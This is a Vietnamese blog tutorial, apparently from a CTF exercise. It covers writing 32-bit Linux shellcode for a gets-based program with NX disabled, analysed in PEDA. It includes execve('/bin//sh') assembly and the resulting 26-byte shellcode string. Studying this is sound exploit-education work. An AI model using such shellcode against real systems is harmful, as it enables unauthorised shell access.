Shellcode (Part1)
ShellCode
I. Pre-Overview
Trước khi overview nó thì bạn cần lắm được những kiến thức mà tôi sẽ đề cặp nó ở dưới đây:
void (*)(): là 1 dạng pointer trỏ đến các hàm có các đối số không xác định(indeterminate argument) và return no value.
(void (*)()): được hình thành từ dạng trên.
(void (*)())buf: hình thành buf từ loại trên.
((void (*)())buf)(): gọi hàm nhưng không có đối số
==> Nó yêu cầu trình biên dịch coi buf như một pointer đến 1 hàm và để gọi hàm đó
Ok. Thì đây là những gì bạn cần lắm được khi đọc code:
Dòng 17:
2 dòng 21 22 của chương trình thì bạn không cần phải quan tâm vì chức năng của nó là set Group ID để ngăn chặn khi mà ta /bin/sh loại bỏ các đặc quyền (Tức là đảm bảo tính toàn vẹn của hệ thống).II. Over View
Thì sau khi rút gọn thì chương trình được simple hóa như này: (không khuyến khích)
III. Analysis with debugger PEDA
A. Checksec:
Và chế độ bảo vệ NX disabled ==> có thể sử dụng được shellcode
B. View functions
Set breakpoint tại hàm gets của hàm vuln
và run chương trình thì mình thấy địa chỉ của argument nhập vào đó chính là: 0xffffcfe8
Tiếp đến thì mình đặt tiếp 1 break point nữa tại lệnh call eax tức là eax nó có 1 số dữ liệu nào đó thì nó sẽ được gọi. ==> Thì eax lúc này sẽ có giá trị: 0xffffcfe8 chứa những kĩ tự nhập vào từ bàn phím. Điều đặc biệt ở đây là giá trị của eax bây giờ trùng với địa chỉ của argument trước đó khi chương trình chạy đến gets
==> Chúng ta chèn shellcode vào để lệnh call gọi đến những shellcode đó. Bạn có thể thắc mắc là tại sao ko phải ret2win đúng ko :>>. Đơn giản thôi vì hàm syscall("bin/sh") nó không có sẵn trong chương trình của bạn nên việc đó là bất khả thi. IV. Exploit
A. Shellcode
Thì trên code C ta hay thấy có hàm syscall("bin/sh") để vào được shell của sever. Nhưng đó chỉ là phía user tức là mình có thể thấy. Nhưng khi thông qua trình biên dịch để cho máy hiểu thì đó là ngôn ngữ assembly. Còn nếu bạn chưa biết gì về thứ ngôn ngữ hắc ám này, bạn nên học về nó trước. Or tìm trên mạng nhưng mà tôi khuyên bạn nên học cẩn thận nó :))
Thì assembly, nó sẽ dùng hàm execve() để thực thi. Tôi tìm thấy lệnh đó ở đây:
thì ta cần gán giá trị eax = 0x0b
Mã assembly của tôi như sau:
xor eax, eax
xor ecx, ecx
xor edx,edx
add eax, 0x0b
xor ebx, ebx
push ebx
push 0x68732f2f 'hs//'
push 0x6e69622f 'nib/'
mov ebx, esp
int 0x80
Thì khi disassembly nó ra shellcode ta được 1 shellcode có độ dài 26 bytes có 1 số chương trình giới hạn byte bạn nhập vào nên bạn cũng phải chú ý đến điều này :"\x31\xC0\x31\xC9\x31\xD2\x83\xC0\x0B\x31\xDB\x53\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"
Lưu ý khi viết shellcode: Khi bạn nhập vào shellcode vào hàm gets nó sẽ kết thúc khi gặp kí tự null như \x00 nên tránh việc nó xuất hiện trong shellcode của mình thì bạn ko để thừa byte vì đây là cấu trúc 32 bit nên mỗi thanh ghi chỉ chứa tối đa 4 byte.
Comments
Post a Comment